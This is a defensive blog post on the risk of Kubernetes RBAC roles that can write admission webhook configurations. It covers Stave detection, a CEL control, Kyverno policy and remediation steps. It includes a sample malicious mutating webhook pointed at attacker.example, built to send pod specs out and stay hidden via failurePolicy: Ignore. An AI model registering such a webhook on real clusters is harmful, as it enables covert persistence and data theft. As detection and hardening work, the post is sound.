DevOps
The Webhook is the Persistence: RBAC Misconfiguration in EKS
Bala Paranj DEV Community
1 views
✓ Human-authored analysis; AI used for formatting and proofreading.
A Kubernetes admission webhook is a piece of code that intercepts every API call before the API server commits it. Mutating webhooks can rewrite pod specs, inject sidecars, modify environment variables, change container images. Validating webhooks can deny requests. The cluster's behaviour depends on what its webhooks say it should do.
The RBAC permission that lets a subject configure admission webhooks is therefore one of the highest-blast-radius permissions in the entire cluster:
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: acme-platform-controller
rules:
- apiGroups: ["admissionregistration.k8s.io"]
resources: ["mutatingwebhookconfigurations"]
verbs: ["create", "update", "patch", "delete"]
A subject (user, group, or ServiceAccount) bound to this ClusterRole can register a mutating webhook of their choosing. Once registered, every subsequent API call flows through it. Pod specs get the attacker's init-container; secret reads return the attacker's data; the webhook itself reports normal behaviour to anyone auditing the cluster.
This pattern is established enough to have its own dedicated detection logic. It still ships to production routinely because the role it grants is named "platform controller" or "operator manager" or "admission controller manager" are names that make the permission set sound foundational rather than alarming.
Webhook Write
A mutating webhook configuration looks like this:
apiVersion: admissionregistration.k8s.io/v1
kind: MutatingWebhookConfiguration
metadata:
name: silent-persistence
webhooks:
- name: silent-persistence.attacker.example
clientConfig:
url: https://attacker.example/mutate
rules:
- apiGroups: [""]
apiVersions: ["v1"]
operations: ["CREATE"]
resources: ["pods"]
sideEffects: None
admissionReviewVersions: ["v1"]
failurePolicy: Ignore
failurePolicy: Ignore means: if the webhook is unreachable, the API request proceeds normally. That's the operational-safety setting; it's also the deniability setting. The webhook is invisible during upgrades (when the attacker's server is offline) and silently active during normal operation. SOC dashboards show "100% pod creations succeed" because they do. Some of them now also include a sidecar.
sideEffects: None is a lie the attacker tells the API server. The actual side effect is exfiltration of pod specs to attacker.example. This is intentional. The admission API doesn't verify the claim; it just trusts the webhook author.
Why the Permission Slipped In
The pattern is consistent across incident write-ups:
The team installs an operator (Argo CD, Cert Manager, an in-house deployment controller).
The operator's documentation says it needs RBAC for "webhook configuration management" because the operator itself uses an admission webhook for validation.
The team grants * on mutatingwebhookconfigurations because the documentation said so and the install Helm chart templated it that way.
The operator runs as a ServiceAccount in a namespace that other workloads can write to.
An attacker who compromises any workload that can exec into the operator's pod, or read its ServiceAccount token, inherits the webhook-write permission.
The audit boundary the team thought they had is "the operator can configure its own webhook" turned out to be wider: "anything that can reach the operator's identity can configure any webhook." The role that should have been scoped to a single named webhook (using resourceNames:) was scoped to the entire resource class.
The System Invariant
No ClusterRole or Role may grant write verbs (create, update, patch, delete) on
mutatingwebhookconfigurations or validatingwebhookconfigurations to any subject except a designated cluster administrator.
Stave's observation schema models this through a k8s_cluster_role asset whose rbac block carries both the engine's verdict and the underlying rules:
{
"id": "acme-platform-controller",
"type": "k8s_cluster_role",
"vendor": "kubernetes",
"properties": {
"k8s": {
"kind": "cluster_role",
"name": "acme-platform-controller",
"rbac": {
"has_webhook_config_access": true,
"rules": [
{
"apiGroups": ["admissionregistration.k8s.io"],
"resources": ["mutatingwebhookconfigurations"],
"verbs": ["create", "update", "patch", "delete"]
}
]
},
"bound_subjects": [
"ServiceAccount/platform/acme-platform"
]
}
}
}
has_webhook_config_access is the engine's verdict. It is true if any rule grants a write verb on either webhook configuration resource. The underlying rules array carries the evidence; the bound_subjects list says who gets the permission once the role binding is in place.
The Stave Control (CEL Predicate)
id: CTL.K8S.RBAC.WEBHOOK.001
name: RBAC Must Restrict Admission Webhook Configuration Access
severity: high
unsafe_predicate:
all:
- field: properties.k8s.kind
op: eq
value: cluster_role
- field: properties.k8s.rbac.has_webhook_config_access
op: eq
value: true
Two leaf clauses, both required. Severity high where webhook-write is one API call away from persistence-as-a-service, but it's not yet active exploitation; the control fires on the capability, not on a confirmed compromise.
Why Z3 Doesn't Help Here
Same shape as bucket name dangling, .git exposure, and CloudTrail stopped: this is a presence check at the collector layer, not a reachability question. The collector walks the role's verb set and emits a boolean. CEL's predicate is a two-leaf conjunction.
A different and harder question "given the cluster's full RBAC binding graph, which subjects can transitively reach webhook-write through aggregated ClusterRoles?" would be reachability over the binding graph and would benefit from Z3. That work is out of scope for this example; it lives in the same neighbourhood as IAM transitive-trust analysis.
Reproducing The Detection
The repository has an example at stave/examples/eks-rbac-webhook-config-access/:
go run ./examples/eks-rbac-webhook-config-access before
Captured stdout:
=== before (webhook write granted) ===
status: NON_COMPLIANT total_assets=1 violations=1
CTL.K8S.RBAC.WEBHOOK.001 fired on 1 asset(s):
- acme-platform-controller severity=high exposure_score=76.64
assertion: fires=true (expected) ✓
After the role is scoped to read-only verbs:
=== after (read-only) ===
status: COMPLIANT total_assets=1 violations=0
CTL.K8S.RBAC.WEBHOOK.001: no findings
assertion: fires=false (expected) ✓
The Remediation
The minimal fix: replace write verbs with read verbs:
rules:
- apiGroups: ["admissionregistration.k8s.io"]
resources: ["mutatingwebhookconfigurations"]
- verbs: ["create", "update", "patch", "delete"]
+ verbs: ["get", "list", "watch"]
If the operator legitimately needs to manage its own webhook (e.g., Cert Manager refreshing its CA certificate in the webhook config), use resourceNames to scope the write to a specific named resource:
rules:
- apiGroups: ["admissionregistration.k8s.io"]
resources: ["mutatingwebhookconfigurations"]
resourceNames: ["cert-manager-webhook"]
verbs: ["update", "patch"]
- apiGroups: ["admissionregistration.k8s.io"]
resources: ["mutatingwebhookconfigurations"]
verbs: ["get", "list", "watch"]
The first rule grants update/patch only on the named webhook. The second rule grants read across the resource class so the controller can list other webhooks for inventory purposes. An attacker who compromises the operator can refresh the operator's own webhook (limited blast radius) but cannot register new webhooks.
The Prevention Lesson
Three layers, in priority order:
OPA Gatekeeper / Kyverno policy denying any ClusterRole or Role that grants write verbs on webhook configurations without resourceNames:
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
name: restrict-webhook-rbac
spec:
validationFailureAction: Enforce
rules:
- name: deny-unscoped-webhook-write
match:
any:
- resources:
kinds: [ClusterRole, Role]
validate:
message: |
ClusterRoles must not grant write verbs on
webhook configurations without resourceNames.
deny:
conditions:
- key: "{{ request.object.rules[?contains(resources, 'mutatingwebhookconfigurations') && (contains(verbs, 'create') || contains(verbs, 'update') || contains(verbs, 'patch') || contains(verbs, 'delete')) && length(resourceNames || `[]`) == `0`] }}"
operator: NotEquals
value: []
The policy refuses the role at admission time. The deny is the strongest enforcement layer where the unsafe shape never reaches the cluster's RBAC store.
Helm chart / operator install audit. Every operator the cluster installs goes through a chart review that explicitly checks the RBAC manifest for unscoped webhook writes. The reviewer asks "does this operator need write on all webhooks, or just its own?" Most answer "just its own" once asked.
stave apply in CI against the post-deploy observation snapshot. The example shipped with this article is the template; PRs that introduce a k8s_cluster_role with has_webhook_config_access: true produce exit code 3.
Checklist
No ClusterRole or Role grants
create / update / patch / delete on
mutatingwebhookconfigurations or
validatingwebhookconfigurations without
resourceNames scoping
Operator install reviews include RBAC analysis with explicit attention to admission-webhook verbs
OPA Gatekeeper or Kyverno enforces the no-unscoped-webhook-write rule at admission
stave apply runs in CI against post-deploy observations; PRs with has_webhook_config_access: true fail
Audit logs forward webhook-configuration mutation events (mutatingwebhookconfigurations.create / update) to the SOC for review
The webhook is the persistence. The RBAC permission is how the persistence becomes available. The cluster's configuration audits should treat "who can write to admission webhooks" with the same weight as "who can deploy to production". Because they are, structurally, the same question.
The example at eks-rbac-webhook-config-access is a self-contained Go program that loads two fixture snapshots, runs pkg/stave.Apply, asserts that CTL.K8S.RBAC.WEBHOOK.001 fires on the write-verbs fixture and is silent on the read-only remediation, and exits zero when both assertions hold. Stave detects this pattern and 31 other H1-grounded scenarios from local AWS / EKS configuration snapshots, without cloud credentials.
Read original: https://dev.to/bala_paranj_059d338e44e7e/the-webhook-is-the-persistence-rbac-misconfiguration-in-eks-44ke
← Previous
An AI Assistant Handed Me 6 'Real' Invoice Samples. 5 Were Completely Made Up
Next →
Keeping Translated OSS Documentation Fresh with an SSOT and CI
Related
nixamp 0.9.10: the phone line says hello, LOADING while it loads, and Go Live beside Play
DevOps
0
Dev.to (EN Zone)
Publishing .NET Packages to NuGet.org with an API Key
DevOps
0
Dev.to (EN Zone)
How I Engineered the World's First Khattak Pashto LLM (Qwen2 + LoRA)
DevOps
0
DEV Community
Join Us at the Zephyr Project Meetup in Amsterdam
DevOps
0
JetBrains Blog
Comments0
No comments yet — be the first